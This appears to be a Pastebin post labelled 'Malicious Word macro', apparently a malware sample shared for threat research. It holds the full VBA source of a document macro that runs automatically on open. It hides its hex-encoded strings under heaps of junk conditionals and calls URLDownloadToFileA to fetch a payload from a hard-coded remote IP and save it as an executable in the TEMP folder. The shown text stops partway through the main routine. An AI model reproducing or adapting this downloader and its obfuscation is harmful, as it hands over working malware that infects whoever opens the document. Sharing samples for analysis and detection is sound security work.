SHARE
TWEET

Malicious Word macro

dynamoo Jan 8th, 2015 27 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If Win64 Then
  10.     Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
  11. ByVal sdfsdf As String, ByVal fdgtrty As String, ByVal irFgg As Long, _
  12. ByVal fghfgDf As Long) As Long
  13. #Else
  14.     Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
  15. ByVal sdfsdf As String, ByVal fdgtrty As String, ByVal irFgg As Long, _
  16. ByVal fghfgDf As Long) As Long
  17. #End If
  18.  
  19.  
  20. Sub çÐÐÐÐàï()
  21. If 951488 = 951488 + 1 Then End
  22. If 7455 < 79 Then
  23. If 231455 = 231455 + 1 Then End
  24. If 1981 < 43 Then
  25. If 214248 = 214248 + 1 Then End
  26. If 4777 < 33 Then
  27.         MsgBox (BHUIGiukdf("4A6B45596B58466C3338"))
  28. End If
  29. If Len(BHUIGiukdf("6A6E506A52786F7631313938")) = Len(BHUIGiukdf("4D58434A614C644A")) Then
  30.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  31. End If
  32.         MsgBox (BHUIGiukdf("564E434B657952703435"))
  33.  
  34. End If
  35. If Len(BHUIGiukdf("4667596C786A526235383839")) = Len(BHUIGiukdf("564D56416F754D71")) Then
  36. If 252271 = 252271 + 1 Then End
  37. If 7315 < 31 Then
  38.         MsgBox (BHUIGiukdf("7145734248416C463631"))
  39. End If
  40. If Len(BHUIGiukdf("55654E697674546331333134")) = Len(BHUIGiukdf("4566694E556F7878")) Then
  41.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  42. End If
  43.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  44.  
  45. End If
  46. If 533546 = 533546 + 1 Then End
  47. If 6161 < 65 Then
  48.         MsgBox (BHUIGiukdf("4C6F6849634349583336"))
  49. End If
  50. If Len(BHUIGiukdf("6C6B636C5063657A31393639")) = Len(BHUIGiukdf("5744504C754D796D")) Then
  51.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  52. End If
  53.         MsgBox (BHUIGiukdf("6A6C65624A66735A3738"))
  54.  
  55.  
  56. End If
  57. If Len(BHUIGiukdf("7853674A6C754B6132333534")) = Len(BHUIGiukdf("4E69416B4852586C")) Then
  58. If 993393 = 993393 + 1 Then End
  59. If 2768 < 22 Then
  60. If 741439 = 741439 + 1 Then End
  61. If 8414 < 27 Then
  62.         MsgBox (BHUIGiukdf("537670697479646A3239"))
  63. End If
  64. If Len(BHUIGiukdf("41444C4F6268645933343132")) = Len(BHUIGiukdf("516C714B73795A6B")) Then
  65.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  66. End If
  67.         MsgBox (BHUIGiukdf("6D4C6863484956413834"))
  68.  
  69. End If
  70. If Len(BHUIGiukdf("4D7A7875656F6C5536363637")) = Len(BHUIGiukdf("63634F556E59784E")) Then
  71. If 749912 = 749912 + 1 Then End
  72. If 9134 < 96 Then
  73.         MsgBox (BHUIGiukdf("7064566564504B463637"))
  74. End If
  75. If Len(BHUIGiukdf("434A667A6543515934313333")) = Len(BHUIGiukdf("626441456E6D4642")) Then
  76.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  77. End If
  78.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  79.  
  80. End If
  81. If 137944 = 137944 + 1 Then End
  82. If 9856 < 32 Then
  83.         MsgBox (BHUIGiukdf("485854636E6558473234"))
  84. End If
  85. If Len(BHUIGiukdf("597168564D64437434383535")) = Len(BHUIGiukdf("484A597559657348")) Then
  86.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  87. End If
  88.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  89.  
  90.  
  91. End If
  92. If 565412 = 565412 + 1 Then End
  93. If 3331 < 99 Then
  94. If 811585 = 811585 + 1 Then End
  95. If 1849 < 94 Then
  96.         MsgBox (BHUIGiukdf("734E725458534F593635"))
  97. End If
  98. If Len(BHUIGiukdf("516F71676964724434373438")) = Len(BHUIGiukdf("66526347544F7574")) Then
  99.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  100. End If
  101.         MsgBox (BHUIGiukdf("6E535473585A79743933"))
  102.  
  103. End If
  104. If Len(BHUIGiukdf("686167536A53756D37323339")) = Len(BHUIGiukdf("737363527648426C")) Then
  105. If 493615 = 493615 + 1 Then End
  106. If 9729 < 54 Then
  107.         MsgBox (BHUIGiukdf("76426C78476E55663835"))
  108. End If
  109. If Len(BHUIGiukdf("5876755463724D5834363238")) = Len(BHUIGiukdf("4A4F686359695157")) Then
  110.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  111. End If
  112.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  113.  
  114. End If
  115. If 448447 = 448447 + 1 Then End
  116. If 6128 < 66 Then
  117.         MsgBox (BHUIGiukdf("4B664B6E7675665A3337"))
  118. End If
  119. If Len(BHUIGiukdf("6B6342715155494931313237")) = Len(BHUIGiukdf("4D4C73516F725161")) Then
  120.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  121. End If
  122. àðãØàâï
  123.  
  124.  
  125.  
  126. End Sub
  127. Sub AutoOpen()
  128. If 723337 = 723337 + 1 Then End
  129. If 6719 < 25 Then
  130. If 774995 = 774995 + 1 Then End
  131. If 5681 < 52 Then
  132. If 443799 = 443799 + 1 Then End
  133. If 8211 < 25 Then
  134.         MsgBox (BHUIGiukdf("6D636A41556E436C3839"))
  135. End If
  136. If Len(BHUIGiukdf("4541586D536B536A33323239")) = Len(BHUIGiukdf("4469644576697A7A")) Then
  137.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  138. End If
  139.         MsgBox (BHUIGiukdf("6C4E526D414C644C3735"))
  140.  
  141. End If
  142. If Len(BHUIGiukdf("644255776261785939363839")) = Len(BHUIGiukdf("654865646E704350")) Then
  143. If 925995 = 925995 + 1 Then End
  144. If 8181 < 76 Then
  145.         MsgBox (BHUIGiukdf("6C7A7865434576673735"))
  146. End If
  147. If Len(BHUIGiukdf("6E77496D7678744632313839")) = Len(BHUIGiukdf("654A5757574D6F79")) Then
  148.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  149. End If
  150.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  151.  
  152. End If
  153. If 122267 = 122267 + 1 Then End
  154. If 5995 < 27 Then
  155.         MsgBox (BHUIGiukdf("7464714E4D4D456A3537"))
  156. End If
  157. If Len(BHUIGiukdf("4153426F5A78484239393134")) = Len(BHUIGiukdf("6343756151414942")) Then
  158.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  159. End If
  160.         MsgBox (BHUIGiukdf("44736D725447544C3237"))
  161.  
  162.  
  163. End If
  164. If Len(BHUIGiukdf("456E7254424E596F31373238")) = Len(BHUIGiukdf("625164636972766F")) Then
  165. If 873543 = 873543 + 1 Then End
  166. If 9735 < 31 Then
  167. If 356129 = 356129 + 1 Then End
  168. If 4396 < 47 Then
  169.         MsgBox (BHUIGiukdf("557849717A7675733139"))
  170. End If
  171. If Len(BHUIGiukdf("7554475767425A6B38323134")) = Len(BHUIGiukdf("5678715168696578")) Then
  172.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  173. End If
  174.         MsgBox (BHUIGiukdf("4A466C674F764C6A3333"))
  175.  
  176. End If
  177. If Len(BHUIGiukdf("5565654765494D5934363334")) = Len(BHUIGiukdf("4A4F6C5647766F6B")) Then
  178. If 995555 = 995555 + 1 Then End
  179. If 4848 < 71 Then
  180.         MsgBox (BHUIGiukdf("567A5968716F58443435"))
  181. End If
  182. If Len(BHUIGiukdf("75797369684E505038373537")) = Len(BHUIGiukdf("6A53456A7A484E77")) Then
  183.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  184. End If
  185.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  186.  
  187. End If
  188. If 761593 = 761593 + 1 Then End
  189. If 9349 < 88 Then
  190.         MsgBox (BHUIGiukdf("696365594E61796B3539"))
  191. End If
  192. If Len(BHUIGiukdf("577A6C594A66567034333438")) = Len(BHUIGiukdf("6363547566517A5A")) Then
  193.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  194. End If
  195.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  196.  
  197.  
  198. End If
  199. If 155818 = 155818 + 1 Then End
  200. If 6177 < 65 Then
  201. If 994255 = 994255 + 1 Then End
  202. If 4834 < 72 Then
  203.         MsgBox (BHUIGiukdf("5672624D566A6F4A3436"))
  204. End If
  205. If Len(BHUIGiukdf("756974446569564638373333")) = Len(BHUIGiukdf("6A46775847566462")) Then
  206.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  207. End If
  208.         MsgBox (BHUIGiukdf("626C63426A4C6F633838"))
  209.  
  210. End If
  211. If Len(BHUIGiukdf("54444F6A4B53474331393735")) = Len(BHUIGiukdf("6F6F584A68704C68")) Then
  212. If 221525 = 221525 + 1 Then End
  213. If 9156 < 95 Then
  214.         MsgBox (BHUIGiukdf("5A4E6552744859713935"))
  215. End If
  216. If Len(BHUIGiukdf("4F6C6758594F645034393535")) = Len(BHUIGiukdf("73475A7865756A7A")) Then
  217.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  218. End If
  219.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  220.  
  221. End If
  222. If 734238 = 734238 + 1 Then End
  223. If 2234 < 88 Then
  224.         MsgBox (BHUIGiukdf("537762574D494A473239"))
  225. End If
  226. If Len(BHUIGiukdf("6F4D66724573656336313333")) = Len(BHUIGiukdf("7479775851685763")) Then
  227.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  228. End If
  229.     çÐÐÐÐàï
  230.  
  231.  
  232.  
  233. End Sub
  234. Sub Workbook_Open()
  235. If 338336 = 338336 + 1 Then End
  236. If 5127 < 45 Then
  237. If 244889 = 244889 + 1 Then End
  238. If 7332 < 39 Then
  239. If 765771 = 765771 + 1 Then End
  240. If 3275 < 37 Then
  241.         MsgBox (BHUIGiukdf("755A5A48784978473531"))
  242. End If
  243. If Len(BHUIGiukdf("665846695641656737323834")) = Len(BHUIGiukdf("486B614F77427955")) Then
  244.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  245. End If
  246.         MsgBox (BHUIGiukdf("714141494E6957433631"))
  247.  
  248. End If
  249. If Len(BHUIGiukdf("494E674A4F50695431323431")) = Len(BHUIGiukdf("457363504A474E52")) Then
  250. If 224464 = 224464 + 1 Then End
  251. If 1821 < 42 Then
  252.         MsgBox (BHUIGiukdf("4E4D674A754C6B573434"))
  253. End If
  254. If Len(BHUIGiukdf("4869426B41656C7135373238")) = Len(BHUIGiukdf("4E46686E664C5558")) Then
  255.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  256. End If
  257.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  258.  
  259. End If
  260. If 321636 = 321636 + 1 Then End
  261. If 2258 < 16 Then
  262.         MsgBox (BHUIGiukdf("51746546747078433136"))
  263. End If
  264. If Len(BHUIGiukdf("4A7667795465727735313536")) = Len(BHUIGiukdf("6D574159656E7546")) Then
  265.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  266. End If
  267.         MsgBox (BHUIGiukdf("4F704A6B54586A4D3137"))
  268.  
  269.  
  270. End If
  271. If Len(BHUIGiukdf("6F6C427A4A78534E38393236")) = Len(BHUIGiukdf("5346735A674D476C")) Then
  272. If 826119 = 826119 + 1 Then End
  273. If 6212 < 66 Then
  274. If 224264 = 224264 + 1 Then End
  275. If 5612 < 13 Then
  276.         MsgBox (BHUIGiukdf("4E4C6B4F4F7A45793434"))
  277. End If
  278. If Len(BHUIGiukdf("786C744B6B52474632393334")) = Len(BHUIGiukdf("59427861726D7462")) Then
  279.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  280. End If
  281.         MsgBox (BHUIGiukdf("766E48624C584D453831"))
  282.  
  283. End If
  284. If Len(BHUIGiukdf("6A624C414A72656A31313131")) = Len(BHUIGiukdf("4C57797A6641754F")) Then
  285. If 924239 = 924239 + 1 Then End
  286. If 8183 < 76 Then
  287.         MsgBox (BHUIGiukdf("4977545974784A6D3139"))
  288. End If
  289. If Len(BHUIGiukdf("6E6D554965524E6933393832")) = Len(BHUIGiukdf("6B73727672446E73")) Then
  290.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  291. End If
  292.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  293.  
  294. End If
  295. If 655931 = 655931 + 1 Then End
  296. If 2433 < 56 Then
  297.         MsgBox (BHUIGiukdf("50545A446B684C483131"))
  298. End If
  299. If Len(BHUIGiukdf("4D4F75546375494436333432")) = Len(BHUIGiukdf("726876466F435676")) Then
  300.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  301. End If
  302.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  303.  
  304.  
  305. End If
  306. If 349776 = 349776 + 1 Then End
  307. If 6877 < 25 Then
  308. If 358738 = 358738 + 1 Then End
  309. If 8115 < 75 Then
  310.         MsgBox (BHUIGiukdf("496D464A676244733138"))
  311. End If
  312. If Len(BHUIGiukdf("46464E6F486C6D5035343237")) = Len(BHUIGiukdf("6B70644F66486365")) Then
  313.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  314. End If
  315.         MsgBox (BHUIGiukdf("79794D706E6A70503536"))
  316.  
  317. End If
  318. If Len(BHUIGiukdf("5A52496C704D776C33323839")) = Len(BHUIGiukdf("53714E4158505174")) Then
  319. If 526627 = 526627 + 1 Then End
  320. If 4833 < 15 Then
  321.         MsgBox (BHUIGiukdf("5466556C494F516C3937"))
  322. End If
  323. If Len(BHUIGiukdf("77416A4D654C534938373432")) = Len(BHUIGiukdf("6A44624471434555")) Then
  324.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  325. End If
  326.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  327.  
  328. End If
  329. If 921596 = 921596 + 1 Then End
  330. If 8256 < 76 Then
  331.         MsgBox (BHUIGiukdf("6C747452575759673736"))
  332. End If
  333. If Len(BHUIGiukdf("62766A587847644632313535")) = Len(BHUIGiukdf("655745784D736A75")) Then
  334.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  335. End If
  336.     çÐÐÐÐàï
  337.  
  338.  
  339.  
  340. End Sub
  341. Sub àðãØàâï()
  342. If 859841 = 859841 + 1 Then End
  343. If 3482 < 67 Then
  344. If 434171 = 434171 + 1 Then End
  345. If 6975 < 65 Then
  346. If 715146 = 715146 + 1 Then End
  347. If 8149 < 24 Then
  348.         MsgBox (BHUIGiukdf("476945474B4363773236"))
  349. End If
  350. If Len(BHUIGiukdf("547764687369765133313538")) = Len(BHUIGiukdf("477A527656564678")) Then
  351.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  352. End If
  353.         MsgBox (BHUIGiukdf("4B696D6F4549696A3336"))
  354.  
  355. End If
  356. If Len(BHUIGiukdf("5453516F6D57616931393734")) = Len(BHUIGiukdf("6F69564F4A6C726E")) Then
  357. If 656583 = 656583 + 1 Then End
  358. If 7391 < 77 Then
  359.         MsgBox (BHUIGiukdf("664846426C546A423633"))
  360. End If
  361. If Len(BHUIGiukdf("444E58495979517935363232")) = Len(BHUIGiukdf("68776F6F655A4663")) Then
  362.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  363. End If
  364.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  365.  
  366. End If
  367. If 539384 = 539384 + 1 Then End
  368. If 4979 < 72 Then
  369.         MsgBox (BHUIGiukdf("6A424A46525957463735"))
  370. End If
  371. If Len(BHUIGiukdf("75646E685648587238383738")) = Len(BHUIGiukdf("6A4C4B7650597147")) Then
  372.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  373. End If
  374.         MsgBox (BHUIGiukdf("4B556159475366623937"))
  375.  
  376.  
  377. End If
  378. If Len(BHUIGiukdf("7A5154624D45657837333831")) = Len(BHUIGiukdf("736B4349596C6B75")) Then
  379. If 832258 = 832258 + 1 Then End
  380. If 4195 < 74 Then
  381. If 451963 = 451963 + 1 Then End
  382. If 3541 < 29 Then
  383.         MsgBox (BHUIGiukdf("744A706C6D656C593533"))
  384. End If
  385. If Len(BHUIGiukdf("5648646C6C71416C36343539")) = Len(BHUIGiukdf("6E73624D47555453")) Then
  386.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  387. End If
  388.         MsgBox (BHUIGiukdf("576C71436F5562793338"))
  389.  
  390. End If
  391. If Len(BHUIGiukdf("727848476676676538313134")) = Len(BHUIGiukdf("666575564E674546")) Then
  392. If 543729 = 543729 + 1 Then End
  393. If 4114 < 97 Then
  394.         MsgBox (BHUIGiukdf("456E6D41585071713931"))
  395. End If
  396. If Len(BHUIGiukdf("6C4772656A4D736E31343336")) = Len(BHUIGiukdf("4577777365506E73")) Then
  397.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  398. End If
  399.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  400.  
  401. End If
  402. If 918538 = 918538 + 1 Then End
  403. If 8936 < 75 Then
  404.         MsgBox (BHUIGiukdf("4F6A6158626265413138"))
  405. End If
  406. If Len(BHUIGiukdf("416872437859646733393335")) = Len(BHUIGiukdf("6C7562466348446C")) Then
  407.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  408. End If
  409.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  410.  
  411.  
  412. End If
  413. If 872224 = 872224 + 1 Then End
  414. If 1447 < 19 Then
  415. If 539385 = 539385 + 1 Then End
  416. If 4979 < 72 Then
  417.         MsgBox (BHUIGiukdf("6A424A51587258783735"))
  418. End If
  419. If Len(BHUIGiukdf("75666E736A66435338383737")) = Len(BHUIGiukdf("6A4D4B6D65726463")) Then
  420.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  421. End If
  422.         MsgBox (BHUIGiukdf("5A566755487A46643935"))
  423.  
  424. End If
  425. If Len(BHUIGiukdf("6575786A655A706C37373638")) = Len(BHUIGiukdf("545A4F4A62426451")) Then
  426. If 789496 = 789496 + 1 Then End
  427. If 9528 < 81 Then
  428.         MsgBox (BHUIGiukdf("6C7465475779626C3836"))
  429. End If
  430. If Len(BHUIGiukdf("4C66717669594D7636383431")) = Len(BHUIGiukdf("784F63425465564A")) Then
  431.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  432. End If
  433.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  434.  
  435. End If
  436. If 756431 = 756431 + 1 Then End
  437. If 5141 < 28 Then
  438.         MsgBox (BHUIGiukdf("514551717257464E3231"))
  439. End If
  440. If Len(BHUIGiukdf("414A6D516374476839313439")) = Len(BHUIGiukdf("63654545546F5967")) Then
  441.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  442. End If
  443.     ùÐÃØðùàâï = BHUIGiukdf("687474703A2F2F3139322E3232372E3136372E33323A383038302F6D6F70732F706F70732E706870")
  444.  
  445.  
  446.  
  447. If 598177 = 598177 + 1 Then End
  448. If 3832 < 34 Then
  449. If 488414 = 488414 + 1 Then End
  450. If 3461 < 92 Then
  451. If 446547 = 446547 + 1 Then End
  452. If 6299 < 66 Then
  453.         MsgBox (BHUIGiukdf("4C6749454C7173793337"))
  454. End If
  455. If Len(BHUIGiukdf("6C6347667951597331313138")) = Len(BHUIGiukdf("6F677174754D7568")) Then
  456.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  457. End If
  458.         MsgBox (BHUIGiukdf("624D5769526F766D3834"))
  459.  
  460. End If
  461. If Len(BHUIGiukdf("6869524F426C625037343639")) = Len(BHUIGiukdf("736C444175636A50")) Then
  462. If 264572 = 264572 + 1 Then End
  463. If 6438 < 97 Then
  464.         MsgBox (BHUIGiukdf("71506264484E764D3632"))
  465. End If
  466. If Len(BHUIGiukdf("6C467279574A644831343336")) = Len(BHUIGiukdf("456D776755555A41")) Then
  467.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  468. End If
  469.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  470.  
  471. End If
  472. If 621899 = 621899 + 1 Then End
  473. If 8944 < 84 Then
  474.         MsgBox (BHUIGiukdf("6572654E5373774B3536"))
  475. End If
  476. If Len(BHUIGiukdf("48496C4E5A63664F33383433")) = Len(BHUIGiukdf("6C72546E4E576A7A")) Then
  477.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  478. End If
  479.         MsgBox (BHUIGiukdf("6F64656246626B4B3637"))
  480.  
  481.  
  482. End If
  483. If Len(BHUIGiukdf("7A73794153556E5937383331")) = Len(BHUIGiukdf("4B7A416C44486150")) Then
  484. If 392834 = 392834 + 1 Then End
  485. If 5754 < 52 Then
  486. If 886444 = 886444 + 1 Then End
  487. If 6441 < 32 Then
  488.         MsgBox (BHUIGiukdf("4A4D53704E455A633334"))
  489. End If
  490. If Len(BHUIGiukdf("556977506C44454431343539")) = Len(BHUIGiukdf("456C525A414A6D53")) Then
  491.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  492. End If
  493.         MsgBox (BHUIGiukdf("534C71426356787A3234"))
  494.  
  495. End If
  496. If Len(BHUIGiukdf("737A6B4F50764B6939363632")) = Len(BHUIGiukdf("477652706957576E")) Then
  497. If 746777 = 746777 + 1 Then End
  498. If 9292 < 96 Then
  499.         MsgBox (BHUIGiukdf("7068454B586C47733638"))
  500. End If
  501. If Len(BHUIGiukdf("4F76515A6F4C706B34313931")) = Len(BHUIGiukdf("73575665546A6650")) Then
  502.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  503. End If
  504.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  505.  
  506. End If
  507. If 879143 = 879143 + 1 Then End
  508. If 7377 < 31 Then
  509.         MsgBox (BHUIGiukdf("4B47724B56486A623333"))
  510. End If
  511. If Len(BHUIGiukdf("4972446C6B4E6B4731333836")) = Len(BHUIGiukdf("5268587162727046")) Then
  512.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  513. End If
  514.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  515.  
  516.  
  517. End If
  518. If 735738 = 735738 + 1 Then End
  519. If 6934 < 26 Then
  520. If 828985 = 828985 + 1 Then End
  521. If 1824 < 94 Then
  522.         MsgBox (BHUIGiukdf("64614861464A677A3635"))
  523. End If
  524. If Len(BHUIGiukdf("4E5275615472694D35383233")) = Len(BHUIGiukdf("5A616C417A6E7164")) Then
  525.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  526. End If
  527.         MsgBox (BHUIGiukdf("536D455A6C6573583239"))
  528.  
  529. End If
  530. If Len(BHUIGiukdf("5A4F64654464647133333536")) = Len(BHUIGiukdf("5368527376654158")) Then
  531. If 455291 = 455291 + 1 Then End
  532. If 8345 < 26 Then
  533.         MsgBox (BHUIGiukdf("6D4552584A4C79793831"))
  534. End If
  535. If Len(BHUIGiukdf("525570465850576533333433")) = Len(BHUIGiukdf("46644143496E7146")) Then
  536.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  537. End If
  538.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  539.  
  540. End If
  541. If 621899 = 621899 + 1 Then End
  542. If 8943 < 84 Then
  543.         MsgBox (BHUIGiukdf("6B636673786579743739"))
  544. End If
  545. If Len(BHUIGiukdf("4A55775749456E7335333635")) = Len(BHUIGiukdf("6C65497779614545")) Then
  546.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  547. End If
  548.     òÎÐØàâï = Environ(BHUIGiukdf("54454D50")) & BHUIGiukdf("5C3156324D555932585759534658512E657865")
  549.  
  550.  
  551.  
  552. If 486314 = 486314 + 1 Then End
  553. If 6853 < 82 Then
  554. If 767671 = 767671 + 1 Then End
  555. If 3295 < 37 Then
  556. If 414716 = 414716 + 1 Then End
  557. If 9921 < 56 Then
  558.         MsgBox (BHUIGiukdf("76697841517450543836"))
  559. End If
  560. If Len(BHUIGiukdf("575570506D49436634383339")) = Len(BHUIGiukdf("4A4B6C5A5A534764")) Then
  561.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  562. End If
  563.         MsgBox (BHUIGiukdf("794153447A5276643531"))
  564.  
  565. End If
  566. If Len(BHUIGiukdf("645856744563745137313133")) = Len(BHUIGiukdf("486B715461576F72")) Then
  567. If 833211 = 833211 + 1 Then End
  568. If 6264 < 67 Then
  569.         MsgBox (BHUIGiukdf("625A6D59476650443831"))
  570. End If
  571. If Len(BHUIGiukdf("6B416349536D4C6E31323732")) = Len(BHUIGiukdf("6F6B4C6244526D52")) Then
  572.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  573. End If
  574.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  575.  
  576. End If
  577. If 917156 = 917156 + 1 Then End
  578. If 4964 < 72 Then
  579.         MsgBox (BHUIGiukdf("566F4B4B584348683133"))
  580. End If
  581. If Len(BHUIGiukdf("756463506146546438383733")) = Len(BHUIGiukdf("6A4C464D44524D56")) Then
  582.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  583. End If
  584.         MsgBox (BHUIGiukdf("764349656D706F743834"))
  585.  
  586.  
  587. End If
  588. If Len(BHUIGiukdf("67736B52466C706D39383632")) = Len(BHUIGiukdf("764B4F446E707679")) Then
  589. If 989731 = 989731 + 1 Then End
  590. If 8574 < 28 Then
  591. If 643882 = 643882 + 1 Then End
  592. If 8164 < 76 Then
  593.         MsgBox (BHUIGiukdf("68557668656E536F3732"))
  594. End If
  595. If Len(BHUIGiukdf("474A594E6761756735343835")) = Len(BHUIGiukdf("6B644C6E53767155")) Then
  596.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  597. End If
  598.         MsgBox (BHUIGiukdf("50454D69474E50623131"))
  599.  
  600. End If
  601. If Len(BHUIGiukdf("6E4A454F6F71514732343832")) = Len(BHUIGiukdf("5063574B57614E6E")) Then
  602. If 578713 = 578713 + 1 Then End
  603. If 9671 < 38 Then
  604.         MsgBox (BHUIGiukdf("414A43766D626C753933"))
  605. End If
  606. If Len(BHUIGiukdf("5057416B626A6F7234353738")) = Len(BHUIGiukdf("4D6E4C6E73796347")) Then
  607.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  608. End If
  609.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  610.  
  611. End If
  612. If 171911 = 171911 + 1 Then End
  613. If 3544 < 29 Then
  614.         MsgBox (BHUIGiukdf("76597A726C5152643832"))
  615. End If
  616. If Len(BHUIGiukdf("5648704459734E6C37343433")) = Len(BHUIGiukdf("6E737866654F6551")) Then
  617.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  618. End If
  619.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  620.  
  621.  
  622. End If
  623. If 323636 = 323636 + 1 Then End
  624. If 8754 < 83 Then
  625. If 396761 = 396761 + 1 Then End
  626. If 5337 < 11 Then
  627.         MsgBox (BHUIGiukdf("6554627356686C4E3531"))
  628. End If
  629. If Len(BHUIGiukdf("6272646D554B524F32373539")) = Len(BHUIGiukdf("4F5052456C494D6C")) Then
  630.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  631. End If
  632.         MsgBox (BHUIGiukdf("507464514F79626C3136"))
  633.  
  634. End If
  635. If Len(BHUIGiukdf("4A7676657142794C35313736")) = Len(BHUIGiukdf("6C4D514549786F71")) Then
  636. If 298847 = 298847 + 1 Then End
  637. If 1829 < 94 Then
  638.         MsgBox (BHUIGiukdf("4C7142664455506B3337"))
  639. End If
  640. If Len(BHUIGiukdf("53707A6850464C7434373338")) = Len(BHUIGiukdf("5A4E637553566D6F")) Then
  641.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  642. End If
  643.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  644.  
  645. End If
  646. If 432698 = 432698 + 1 Then End
  647. If 8299 < 25 Then
  648.         MsgBox (BHUIGiukdf("78777178756D6F6F3839"))
  649. End If
  650. If Len(BHUIGiukdf("546248677373437433313138")) = Len(BHUIGiukdf("47796963567A6448")) Then
  651.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  652. End If
  653.     øÐØÃàâï = URLDownloadToFileA(0&, ùÐÃØðùàâï, òÎÐØàâï, 0&, 0&)
  654.  
  655.  
  656.  
  657. If 473541 = 473541 + 1 Then End
  658. If 5561 < 59 Then
  659. If 423497 = 423497 + 1 Then End
  660. If 8927 < 57 Then
  661. If 355438 = 355438 + 1 Then End
  662. If 1586 < 19 Then
  663.         MsgBox (BHUIGiukdf("4F77635A4A4F48683139"))
  664. End If
  665. If Len(BHUIGiukdf("48474F4D6C5A784635343934")) = Len(BHUIGiukdf("6C715877474E6E75")) Then
  666.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  667. End If
  668.         MsgBox (BHUIGiukdf("78736C6F707841503837"))
  669.  
  670. End If
  671. If Len(BHUIGiukdf("4C50696B4B4E446C33393236")) = Len(BHUIGiukdf("47586A716172546C")) Then
  672. If 317486 = 317486 + 1 Then End
  673. If 2751 < 74 Then
  674.         MsgBox (BHUIGiukdf("687046694679715A3737"))
  675. End If
  676. If Len(BHUIGiukdf("747663496968734B35363539")) = Len(BHUIGiukdf("614F59416A6C654B")) Then
  677.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  678. End If
  679.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  680.  
  681. End If
  682. If 526779 = 526779 + 1 Then End
  683. If 3119 < 36 Then
  684.         MsgBox (BHUIGiukdf("6F764670726C6C553639"))
  685. End If
